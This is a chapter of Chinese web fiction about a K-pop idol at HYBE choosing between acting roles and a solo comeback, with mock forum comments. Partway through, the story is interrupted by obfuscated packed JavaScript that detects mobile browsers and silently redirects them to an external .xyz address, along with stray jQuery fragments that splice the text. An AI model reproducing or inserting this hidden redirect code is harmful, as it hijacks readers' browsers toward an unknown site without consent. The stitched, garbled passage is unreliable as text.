晨光漫过办公室的落地窗，轻柔地落在朴哲秀的侧脸。会议室里冷气低吟，空气仿佛被冻结。长桌对面坐着HYBE艺人管理部部长、经纪人老金，以及新成立的演员部门负责人李瑞元。三份企划书像三条分岔的命运之河，静默地摊开在他面前。


    李瑞元修长的手指精准地落在第一份文件上。“《暗流》，网飞下半年重点剧集。男主角是游走于黑白边缘的财阀私生子——复杂、多面，制作方指名要你。”她的目光试图穿透他表面的平静，“他们看中的是你眼中那份能压住全场的气场。下个月进组，拍摄强度会非常大。”


    她将第二份素白封面的文件推前，纸张透出文艺片特有的清冷。“李沧东导演工作室，《白桦林》。”她镜片后的眼睛闪着光，声音低沉却难掩激动，“讲述八十年代地下诗人，理想主义在高压下的挣扎与幻灭。这是直奔戛纳的配置。哲秀，李导看了你在《春日暖阳》里读聂鲁达的那段独白，亲自打来了电话。”她停顿片刻，语气加重，“这种机会，对演员来说，是洗礼，是涅槃。错过，也许就是一生。”


    第三份文件最薄。老金将它往前推了推，声音沉稳：“《回声》。你将与世界级制作人合作主打歌，并拥有作词署名权。概念是毁灭后的新生，与你拿下青龙奖的那个角色内核共振。粉丝——尤其是你的粉丝，都在等待你的solo回归。”他抬起眼，目光沉静地锁住哲秀，“团队他们，也需要你。回归期定在《暗流》拍摄中段，打歌期至少需要你挤出三周。”


    空气凝滞，只剩下呼吸声与思考的寂静。朴哲秀垂眸，指尖无意识地摩挲着保温杯壁上那个熟悉的凹痕——粗糙，却承载着岁月的温度。演员？歌手？偶像？


    “我需要时间。”他终于开口，声音打破沉寂，“不是选择哪一条路，而是……如何同时走好每一条路。”


    李瑞元眉头紧蹙：“哲秀，现实一点。李沧东导演的戏要求演员完全沉浸。封闭拍摄、与世隔绝是基本要求。偶像活动？打歌？综艺？那是另一个世界的事。这种级别的机会，一旦错过就不会再来。”


    老金没有说话，目光落在他摩挲保温杯的手指上——那是他内心波澜的小动作。他了解这个年轻人骨子里的倔强，也清楚他深埋的往事。他知道，哲秀需要时间思考，这毕竟是人生的大事。


    缺德显微镜下的十字路口


    豆瓣踩组神帖《阴桃保温杯里的风暴眼：论HYBE会议室的三杯毒酒》热度持续攀升：


    [热评777] 面包预言家：押十车面包，阴桃必选演员路。


    [热评888] 缺德经济学：等阴桃官宣进组《白桦林》，等粉丝第一个哭塌HYBE承重墙，顺便问，承重墙塌了保险赔吗？在线等挺急的


    [热评999] 人间清醒：都醒醒！资本字典里有放弃这俩字？《暗流》年冠预订赚收视，《白桦林》冲奖镀金提逼格，《回声》solo回归稳韭菜，HYBE的算盘珠子都崩我脸上了。坐等阴桃开启“片场写歌-保姆车打针-打舞台吸氧”地狱模式，保温杯泡参片是标配！[缺德笑] 建议改名叫《铁人三项》


    私生前线文字报（匿名论坛）：


    【停车场·夜】阴桃保姆车窗半降，他膝上放着那个旧保温杯，手机屏幕的光映着他清晰的下颌线，同一页面看了快半小时（疑似《白桦林》剧本？）。杋圭从旁边车下来，递了罐冰美式，指尖不经意擦过阴桃的手背。阴桃没抬头，但接下了，手指在易拉罐上微微收紧。[附高糊偷拍：杋圭侧影，阴桃低头的下颌线]


    【练习室走廊】太显用手臂锁着哲秀的脖子往录音室拖，声音不高不低：“别看了，哥，有那么难选吗？”。大显回头望会议室的那一眼……眼神空得让人心惊。[附偷拍：太显拖人背影，大显回望的侧脸]


    —<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170675|179259||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    会议室沉重的门在身后合拢。走廊尽头，一间小练习室仍亮着灯，断断续续的音乐如迷失方向的溪流——是回归曲的副歌旋律。朴哲秀脚步顿了顿，还是走了过去。


    崔杋圭背对着门坐在录音设备前。


    “哥。”崔秀彬最先看见他，温和地笑了笑，迅速按熄了平板——但哲秀仍瞥见了页面上闪过的标题：《朴哲秀今后道路选择：演员 or 偶像？》。


    音乐戛然而止。崔杋圭转过身，眼神有些飘忽，最终定在哲秀脸上：“……会开完了？”声音有些发紧。


    “嗯。”哲秀走过去，自然地坐在录音凳另一端，距离恰到好处。“曲子卡住了？”


    “副歌这里，”杋圭的手指落在乐谱上，“总觉得……差一口气。像对着空谷呼喊，声音发出去了，却没有回音落地。”他声音渐低，指尖无意识地在纸面上来回划动。他在说歌，眼神却诉说着更多。


    姜太显收起手机，抬眼看来，语气淡得像在聊天气：“差一个灵魂。”他的目光掠过哲秀，“是斩断过去决不回头，还是拾起一路遗失的东西……总得先想清楚，歌才有魂。”这句话，轻轻刺破了房间里勉力维持的平静。


    一片沉默中，哲秀的思绪汹涌回溯：前世财阀家族里的暗流与窒息，今生第一次站上打歌舞台，面对那片属于他们的初生的应援海。极致的黑暗与纯粹的热爱早已交织不分，再也拆解不清。


    “不是告别。”哲秀终于开口。所有目光顷刻汇聚。他缓缓拧开保温杯。“《回声》……是想告诉每一个站在悬崖边，向命运嘶喊的人——”他停顿，目光逐一掠过队友，最终落回杋圭盛满困惑与期待的眼底，“我听见了。那些呼喊、那些挣扎、那些不甘……我全都听见了。”


    他举起保温杯，杯口的热气是他无声的宣言：“舞台和镜头，我都要。我不会抛弃任何一个。就当我自不量力吧！”